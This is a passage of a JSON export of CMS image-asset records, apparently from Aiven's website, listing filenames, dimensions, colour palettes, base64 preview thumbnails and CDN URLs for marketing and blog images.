8s09kzZOvuHbZ1JAfNBzqSJV/au6AQDEAhFIJCff1v0ej2T+s4DuyIxSBLVblEinReNnlPrtKRwSzVeHRE19jVq23o7tO1Jvo12WMDqkJrKxRiMShEIvAjFCr5HgyWfAsGSwqhkKqQSkGU58HCsgCEELMQbKqQExn73uO5XV0dJ4z3IxHNluJXb/n96ueyonkjy9p3sqwreq8o+g+KYvioKMait7KsfejxqMDhAB/HAYg1XtPefe2krXlAGN7f6sh4vJbrkkTfqq2lb0kSUzRfW0vnJYkuzuIuLYrURVGk0qJYPiQIJh/H6asQ9QTRAAFvUHckGncMhQ+RCc/uytNuwdYvCPakINiSgmDtqq6uaHG5mP08z+zjeTrM87SXENpNiMVNCOUixEIQKfylHBSpTtXmq9e0ix5di8tl2MPzZRIhZheimUc0cYhlLKLBiWj6Q1klotGJaKxCNCGiERENiFj6EwG9wDdt0x6mAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5f2f35","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#06447c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5f2f35","foreground":"#fff","population":0.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#134c85","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8bbced","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#964c54","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c6cbc","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"pgvector-index-distance.png","path":"images/sczeoy4w/production/470bd7e658b7d84b407ec42f237b78933b0e038d-2174x1210.png","sha1hash":"470bd7e658b7d84b407ec42f237b78933b0e038d","size":46485,"uploadId":"NxpWrVd4FOie9a3C6VxVnDjB4O9QHSlu","url":"https://cdn.sanity.io/images/sczeoy4w/production/470bd7e658b7d84b407ec42f237b78933b0e038d-2174x1210.png"} {"_createdAt":"2023-01-13T14:51:05Z","_id":"image-471508eb6db3f6b02e1f72270c33cf911d5333d1-1200x630-jpg","_rev":"Z39vf97kTT8utJKfKdLgu9","_type":"sanity.imageAsset","_updatedAt":"2023-01-13T14:51:05Z","assetId":"471508eb6db3f6b02e1f72270c33cf911d5333d1","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAMGAgj/xAAhEAACAgMAAgIDAAAAAAAAAAABAgMEAAUREiEGMUFCkf/EABYBAQEBAAAAAAAAAAAAAAAAAAIBA//EABsRAAIDAAMAAAAAAAAAAAAAAAECAAMRElHw/9oADAMBAAIRAxEAPwDoSShI0rut2dfL9ejgyX2PyifS75NZOplRh5CRz7IythAFpz7/ALi9hQqWmR7FeORweBmHsYbgxXVOTWlkVjzXRnjM63ZwXKqyiRAe8IB+jhjK2upwR+ENeNFJ7wD84YqwyqAx09yMaidGz//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#46494e","foreground":"#fff","population":0.41,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc1929","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f7670d","foreground":"#fff","population":1.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0bf9d","foreground":"#000","population":0.92,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4d4fc","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#837e66","foreground":"#fff","population":0.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7670d","foreground":"#fff","population":1.04,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"whitepaper-laptop-meta-preview.jpg","path":"images/sczeoy4w/production/471508eb6db3f6b02e1f72270c33cf911d5333d1-1200x630.jpg","sha1hash":"471508eb6db3f6b02e1f72270c33cf911d5333d1","size":35229,"uploadId":"9o9D3aSKoi3KoXJh1nIwMjg0aanbh9L9","url":"https://cdn.sanity.io/images/sczeoy4w/production/471508eb6db3f6b02e1f72270c33cf911d5333d1-1200x630.jpg"} {"_createdAt":"2023-05-25T08:14:35Z","_id":"image-474c59097c57b89bbc08d17ab375f891d2ddf651-1324x765-png","_rev":"PafZ7If3abxFAfZNOHEzuz","_type":"sanity.imageAsset","_updatedAt":"2023-05-25T08:14:35Z","assetId":"474c59097c57b89bbc08d17ab375f891d2ddf651","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5Ss50xv~q-;_3_3fQoMj[oMRjayofj[oL","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.730718954248366,"height":765,"width":1324},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAA7DAAAOwwHHb6hkAAABIElEQVQokW2S247DIAxE+/9f2iYQfCUKmGRls12t2vBmmWNmPDyu6zrPc4zBIq+0FsRuNsYQ1VdeN4Te+7ChtWYowNStX+/zmLCZIfNzXYAcNjMWeaalBGxmWmuCDYXN7BNurRNx3oqompmXLLkUVu1mvXcRLQCqOsY4z/MTZhYArLV2G16KFkTV2rvPElVA1FpvYDMT1QyFhEP2kDCJTC1k171uCBSyb2BWSSVztB1WTSWj0J/nOfoGbq0RMyDUfR9jyhY36S5cNosCuGz7lj1XMl2Zb8hEqt/+XZi/jETR/YIjWFlSAkQPNnJeUioILcrwHBvpd55p5hywWfyZdZmf5O15Q6Ebz8fRkCiXouqyj6N57HkT8dijyzP2/1H9ANeEf2BkUd6qAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1c7c56","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#186b4a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f2fcf8","foreground":"#000","population":1.6,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcd4c4","foreground":"#000","population":0,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2fcf8","foreground":"#000","population":1.6,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c8c84","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2fcf8f","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"compliance.png","path":"images/sczeoy4w/production/474c59097c57b89bbc08d17ab375f891d2ddf651-1324x765.png","sha1hash":"474c59097c57b89bbc08d17ab375f891d2ddf651","size":299893,"uploadId":"SLFqx5cTYvqkXpId8go1PdxUlQn3VkmH","url":"https://cdn.sanity.io/images/sczeoy4w/production/474c59097c57b89bbc08d17ab375f891d2ddf651-1324x765.png"} {"_createdAt":"2022-09-08T16:32:23Z","_id":"image-479a083486108dee85ea2c32a27c0b6560f22de6-3078x1430-png","_rev":"QRl2cGoCgj0FlAhkRriXkb","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:32:23Z","assetId":"479a083486108dee85ea2c32a27c0b6560f22de6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBS$lnf,s:xuof~qRjM{t7f7RkRQtRaej]","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.1524475524475526,"height":1430,"width":3078},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAABBUlEQVQokW2Qi27DIAxF+f//7FSaNBTw2wSmhLbTth5dISP5WJaDm9cM6Z7yIwMgITGTCMsTVtXWWu99/CM0b1gw3VNKD6jIdGhm1lrbX3w0xxih793VmYWZVc29Te1j9+h99H3szwRv5s3tZK43eTX/1GOM3b0JN6aZAFRIEAkRwMzcXVXdfS7sfsz1uU9rLmJQtRStxUoJtWYmJDp0VWWmknMFmCOO7wnUykym6iIufL4SAOp5W1YVNyPEtG0pJSIyMwS4r+stxnVZSskq0tzfCQigIipyTH3L20aEZnrIyxqv12VZSs6m+kuGWuW89ZQRcT0hRFOFWm8xfl0uMcZSyh/5G7KJC8ij1YdVAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#871b11","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#75170e","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dcc0c0","foreground":"#000","population":0.25,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcc0c0","foreground":"#000","population":0.25,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8ccc8","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#828281","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e22d1c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"479a083486108dee85ea2c32a27c0b6560f22de6-3078x1430.png","path":"images/sczeoy4w/production/479a083486108dee85ea2c32a27c0b6560f22de6-3078x1430.png","sha1hash":"479a083486108dee85ea2c32a27c0b6560f22de6","size":145276,"uploadId":"JSpR1gm6JwUrosLb3zo4LUY7hNkZB7zc","url":"https://cdn.sanity.io/images/sczeoy4w/production/479a083486108dee85ea2c32a27c0b6560f22de6-3078x1430.png"} {"_createdAt":"2022-06-30T19:59:04Z","_id":"image-47dd5a1f237ae0d6ba33697f648528c0c00718ee-1600x471-png","_rev":"QRl2cGoCgj0FlAhkRrhvDC","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:22:11Z","assetId":"47dd5a1f237ae0d6ba33697f648528c0c00718ee","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DJT5Vf=TQ7v%qG:PaceSjbcF","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.397027600849257,"height":471,"width":1600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAABc0lEQVQYlR3Lz0tTAQDA8fcPeLCDgouCFF2HzXVp5MFAETfbara5H+xNO2yazIkrcUgIvYRNW7UZ2GgtGDHBdhEP4nkWg4E/Tt26FEqCo+lsrTb3vvGCL5/bV0C6RPgykSv/vUq4HUnNvI7gLfz9eM24bZjtDNhk6/3GqLPueFB1+v96ZmTjqEBYRUzDik4xriWm48VNIreRjCzYeOzC52J4RDY56o8ClTeRYix2/Hy1/CzeGHkosNjCy+vEu5VZSUtUi6TliZ65PqYMiAaGBhv3XNVXr38W8of7e4efC2fpbMMdEIiqSQ+z7uOjj+y44nsLT7sItOHrwNONTY+hV7Y6/yQ/nH39VvxxUvp+9Htj+0KcFkj0srVALknuHZ9S7CTZDLGkI9CMtw2xE/sNTD2y1VpbSZwX9ksHX8r53Woyc2GfFFhuJ2UkI7LmUcq4eTuApGKmiYlWxq7h1HBXL1vu1IKhX6up00TqdDFaGZ+tG8R/vePdWiehz1gAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#974501","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#833c01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":12.95,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b2c4c5","foreground":"#000","population":0.25,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8c385","foreground":"#000","population":2.31,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a7554d","foreground":"#fff","population":0.67,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":12.95,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"47dd5a1f237ae0d6ba33697f648528c0c00718ee-1600x471.png","path":"images/sczeoy4w/production/47dd5a1f237ae0d6ba33697f648528c0c00718ee-1600x471.png","sha1hash":"47dd5a1f237ae0d6ba33697f648528c0c00718ee","size":134642,"uploadId":"vqYeAFiRTkHidCbVlifDGUKeFmc7eN8k","url":"https://cdn.sanity.io/images/sczeoy4w/production/47dd5a1f237ae0d6ba33697f648528c0c00718ee-1600x471.png"} {"_createdAt":"2022-08-11T14:47:31Z","_id":"image-485ea2ea93939af264bcca252d45e96be1907fd3-700x500-png","_rev":"NJpUIsPDMjlN4Sj0uHGTS4","_type":"sanity.imageAsset","_updatedAt":"2022-08-11T14:47:31Z","assetId":"485ea2ea93939af264bcca252d45e96be1907fd3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VIFzpV^Q0k9@1D}|x*9#IxjN-O$T0%9[=^-qnV9wNa-4","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4,"height":500,"width":700},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEKklEQVQ4jS2Qa0xTdxjGHyjiXLaVS3v672lPTy8ipUBhispEMqpuKoXggBK8IF6HjjgzBWQgqzMiKjI+iILZFB0jQ3BRBEargDNmcZcYF82cgFEmYqaLUzGKFHrepeCHJ8/z6Zff+4I61fj7JAdfD9RzeNys8h9pZaFj7Sx+vIOt8XawgvEOtmmsndletqq5noM6f2A+ltqsWJyUgL7CSlBpNZzZq0AVRwDpRwZyM5CLB3UyGbmZQG6WQW71PnKxFnKxLnKxi+Rip8jNtlA3CyeSy6bHzwD9fhi0qQze7fvRlbkeUk7hJPBSpRyeNrVvc8M/qDIfNHK1977lugYbuKtD33F9Dxq5oYdN6kcPmzRX+0+IJcdLLFFz5ifKuSRrAOVVY7SoEhuWpoJyCl4bDuhAnXzgeAeLu3ZYWX4oP/RyYVZIX4Ej+F5xdtA/ZatCnlRsZCNV+bqXpbnGP5KTwmviY99dU7Ykzfrqsz2hVFwVGLvOASl1MyZ+RyMG38nysXaW0rpLcSwtUdEfZuBeGEVu1KhTeEyiYsxsYt5os9ZrCdeNmoz6fxdGxv5y2r7qkGfzrhVUsF9N9lpIjq2vgRQFcvMKT5sq61Sp4qQtjhtQa4VxTiMSxwuT0Uy05NsarUjplrjRCx/m9r/KLd1Dn5aLtHYfxrO2A1InA5EV5NIEe86xJfXbFV+9F8Pd5AXdGK/Tk0bUS4LJKOlMBkkjipJKK0garc6bOiP2ecu87J7HacXLx9eXv0NrzuLpsp0AdfgME0A96qkvziiMW5YF5ZhE5U9MI4zygp54nShp9QZJq9dLKl4jhSg5SaHkvDEa082tYfbCLmul/vyMi/60knAhpgHwXFMCMINqdvpdyV8xLUrQL1Cp+E61VufR6PTECyJpRf1EVLyWFBwjJafyimrhyvvGOY6aubuDexYd8J87E9goHwQIhK0owp0QT0BXwo3QrFmr7TERs1rM4VEDZnP0kNkcPWiJtN63REUPRlgsg+aIiPvhZvPATGtU2+qliZmXnSuVrypsMgDorDw+CWxCN3rf/m/qz/F/ag8mH7HlLvw4/6PEbGdaYtautKQMZ/oHaV9mJi92OlJtzgy7rcy+ZOGOjGUpa0u2rJ3trtshf96Y6ecDulrqgF/D7qIaTeiVPQ24phoK7bFcNzTPvhj2TXz79NoF3xvqc/YaTxfmTT+zO93QvCdFOPaFQ11enKcoKy0NOnDg4Jt1R0/Ias4+AhGh/usGoA/DuI1nvvbrxfC0XryU94PeugMKHAl+GkDVjil0QRtIf0FGNOEBW0oO8jZuQMX+KjT23AKIJoDnuy/BZ4bbGEaf/zPcCngiu/7Gwyku7qr/J/OK/Lblz8HRKt7PuSPSLzxhOSBsQ0jcOixKTkfOimyUfV6EpsYG/Hbj7gSwtfUc/gdlUsqqRKJjUgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#32304d","foreground":"#fff","population":0.44,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2804a4","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f8af17","foreground":"#000","population":1.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7b295","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f35a74","foreground":"#fff","population":0.82,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c836f","foreground":"#fff","population":0.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8af17","foreground":"#000","population":1.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"laptop-solutions-dashboard.png","path":"images/sczeoy4w/production/485ea2ea93939af264bcca252d45e96be1907fd3-700x500.png","sha1hash":"485ea2ea93939af264bcca252d45e96be1907fd3","size":23304,"uploadId":"hbh0DxZwh2Yl9vi2gi0VksVx9SL7fvrL","url":"https://cdn.sanity.io/images/sczeoy4w/production/485ea2ea93939af264bcca252d45e96be1907fd3-700x500.png"} {"_createdAt":"2024-07-19T09:57:49Z","_id":"image-48a453490efa7b12b280d3e152b9043a61b929e4-1200x630-png","_rev":"jEln45CgOQD4spzxfEKmP9","_type":"sanity.imageAsset","_updatedAt":"2024-07-19T09:57:49Z","assetId":"48a453490efa7b12b280d3e152b9043a61b929e4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MABV*.0v#7TO:|orO^}O0.xuxZRNK7$g$x","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAADDklEQVQokS2TW0/bBQBH+wUMAqUUeoFe6ShtGRTaEmov/17W0rK1JVQuZbS0XHqb7UY2RulC2RSEXYy7xWTGRFziQEckzumDviwaEx9mzF6M0fjgq1/hGBa/wC/5nZMjeqMtQVP7BG9KJ2nunKJFlqJFlqZVnqVNuYKkq0y7qoJUvUqHdg2FYQvdwANMo19iF56Sje+wX5znt0aEf297EbV0TtLVM4/etIjevIzOlKf7VB6FroBSfwG1cRWN6Qpac42e05ucGtzBaHuIafQLbN4jUmdvc39xiRfrcf7aPoNI2j2DzVkhGN3AN7aBN1THFbiGzVVj2FnHFXwPT2gXd+gmgbMf4h9/iMP3MRbnAYOup0SCd6lPv8Pj4hxfVacRSZRTDI6UCURr+P8fFMIN3MEGTv8WQngHIbKHELlFKHaPcOIjPGOf4PA/YchzgPDWB5RCZW4kFlg9Vz65nETXl2XAcYHBkQrW0VXsrqs4PHUcnk3s7i1s7uvYPds4/TcRIvcJT3xKJHlE+Nwh8/5NdoQE7wsxSs4couaOE4YZegcK9A6W6LNWMNtWsdjXsNhr9A1tYDh9wq9Or/U6VtcdgrHPiKeeM5M65kb8CschBweCjV1XFNGJXbkujc60gs5cQGsqobdU0JqqqHov0mW4hMpQxWCsYjRfpn94G2/kMYm57zm/8APrb99iPxxlP+Bj05NC1CSZoE0+hUx9HpkmQ6cmi0y7TIc6j6S7gExdYqg/z5SQZWksy0ykRiL5ObNLP5Ep/MLM9DHp4B0yvh3GPQ8QNUviKDoTqDSzdOkzSFUZxPIMYkUOsWIFpaZIdDTLXirJYTnOo3KRi4UnLFd+ZeXSK2KpF4wEnjHsfYbV+w2iVkkMjTyOoSeF1pijU7NAqzyNWJ5FrMyj0BQZd2Z5lEvw8toZftzKsnv1kOr671RqfzKZ/hlb4Fv63c/pd3+NqKktTmt7AoksiUQ5S6t87nUpYnnudSlSVQmndZm76Qn+eNfHq7009xpHrDX+5nLjH6YXX2IPfofFdYzZecR/Fxy1srGgdj4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e457a","foreground":"#fff","population":1.39,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131e6e","foreground":"#fff","population":9.66,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#131e6e","foreground":"#fff","population":9.66,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5abd8","foreground":"#000","population":1.2,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc9c3b","foreground":"#000","population":0.12,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5cac","foreground":"#fff","population":0.23,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e04b11","foreground":"#fff","population":1.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Aiven at Big Data LDN 2024.png","path":"images/sczeoy4w/production/48a453490efa7b12b280d3e152b9043a61b929e4-1200x630.png","sha1hash":"48a453490efa7b12b280d3e152b9043a61b929e4","size":253895,"uploadId":"Z9ih054YD7bUCtCJAREO3rWdVEAUtJ07","url":"https://cdn.sanity.io/images/sczeoy4w/production/48a453490efa7b12b280d3e152b9043a61b929e4-1200x630.png"} {"_createdAt":"2022-12-09T16:04:35Z","_id":"image-4918e37dc50dfe51bfd12fa424b2c57c6cca87f5-690x413-jpg","_rev":"Bp455s9rtQ49wRO6vajYRz","_type":"sanity.imageAsset","_updatedAt":"2022-12-09T16:04:35Z","assetId":"4918e37dc50dfe51bfd12fa424b2c57c6cca87f5","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6707021791767553,"height":413,"width":690},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAMABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAQFCP/EAB4QAAICAwADAQAAAAAAAAAAAAECAAMEERITMUFx/8QAFQEBAQAAAAAAAAAAAAAAAAAAAAH/xAAUEQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIRAxEAPwDqLML+EitwhP0yPF6FwNdr870ws+/k0L6ltrKONgyXFxK1s6JZivro71CLYiIV/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#445444","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#30770d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b1c1b9","foreground":"#000","population":0.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b1c1b9","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecfce4","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#799484","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5de519","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"compliance-badge-gdpr.jpg","path":"images/sczeoy4w/production/4918e37dc50dfe51bfd12fa424b2c57c6cca87f5-690x413.jpg","sha1hash":"4918e37dc50dfe51bfd12fa424b2c57c6cca87f5","size":7276,"uploadId":"499d9zn0uKzed1mMmPQe2eq5SZBLgeRc","url":"https://cdn.sanity.io/images/sczeoy4w/production/4918e37dc50dfe51bfd12fa424b2c57c6cca87f5-690x413.jpg"} {"_createdAt":"2022-06-30T11:56:58Z","_id":"image-492658c0326297d5bbd77402f750cfc4fb34ac1d-750x188-png","_rev":"CK1sLU2mnwa3vmbYWEb7mx","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:16:40Z","assetId":"492658c0326297d5bbd77402f750cfc4fb34ac1d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D6R{rnv#Io.muOY+HrWCY5YP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.9893617021276597,"height":188,"width":750},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAzUlEQVQYlT2OS47CMBBEc/8rIHED9pwDr8ggVjBxAnK3+2PHdkcaxczM09tULUo13Mev23W8O/c4n5/H4+NweJ5O/nKZv6fF+3nyy59z9z8ukx/er840vW+34Bw4h+MYvccAEAICRIxdxAAYIAJG/HUIEklFmBEQAYmImUWUaW+IKKkmTUmVYtybGKnDxMMro5RcStGUSROnJDmvpazrKsyqWkpptdVSRQT2I7ivM6vooHWt1mzbmllt7aN1WsfMtm0zs5wzEX3maq2tth+RvxfEEKmpAgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#646464","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#22623b","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dab9bb","foreground":"#000","population":0.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dab9bb","foreground":"#000","population":0.72,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eeac9a","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b9666c","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4cc17b","foreground":"#000","population":0.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"492658c0326297d5bbd77402f750cfc4fb34ac1d-750x188.png","path":"images/sczeoy4w/production/492658c0326297d5bbd77402f750cfc4fb34ac1d-750x188.png","sha1hash":"492658c0326297d5bbd77402f750cfc4fb34ac1d","size":20571,"uploadId":"QLxdnyS6DKbLQrHi1psNQtw3letGZVKL","url":"https://cdn.sanity.io/images/sczeoy4w/production/492658c0326297d5bbd77402f750cfc4fb34ac1d-750x188.png"} {"_createdAt":"2023-12-06T17:29:20Z","_id":"image-493cea76289e94ac9807f56b956cda7e59c1cb08-1999x1047-png","_rev":"LDCVHimI6r4jzwxT3KLKTL","_type":"sanity.imageAsset","_updatedAt":"2023-12-06T17:29:20Z","assetId":"493cea76289e94ac9807f56b956cda7e59c1cb08","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5Ss51_300%Mni~qD%oJWBoMIUIUxujFn$","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.909264565425024,"height":1047,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAABSUlEQVQokX1Si3KDMAzL/39pWwKkJLbzRDub0nXrutwJDmwrli1H3iPMC+IWwSyotaK1Zui9Y4zxJzROzIgxWZ1IBXOB20KA9x7ezwghgIiQc35BMZTyuKgP1DZQajfClOgR78ilw21bwrwErOsd27ZZAjP/ghi5EpY6wHlASgeJIFkDBb1r5zsccUZKAsnlKbW1/oazoLUduQzrhkVMsogcOQehgIhN0r7v0PN4vR2N976b5KqSiRGCKovQxiQ3OH4SlhfC/SO0S4UuTLu7XidcLjfM84oYGU7JzsHq9s7CT+cMaW6MhOvNG6H3i13g9KGLYc6otf0g/b/TgUSMyS+YJnXIHSJZJTOI1EfFCHX4Kud7QYcfbcOlmk/1+5BMT8nrGmxsrma1RYaIFh+m1aLDrNr14T9NVo+e49F/iQTzfMeyBMSULPcLVcMNh1vQ/fAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#525252","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#770c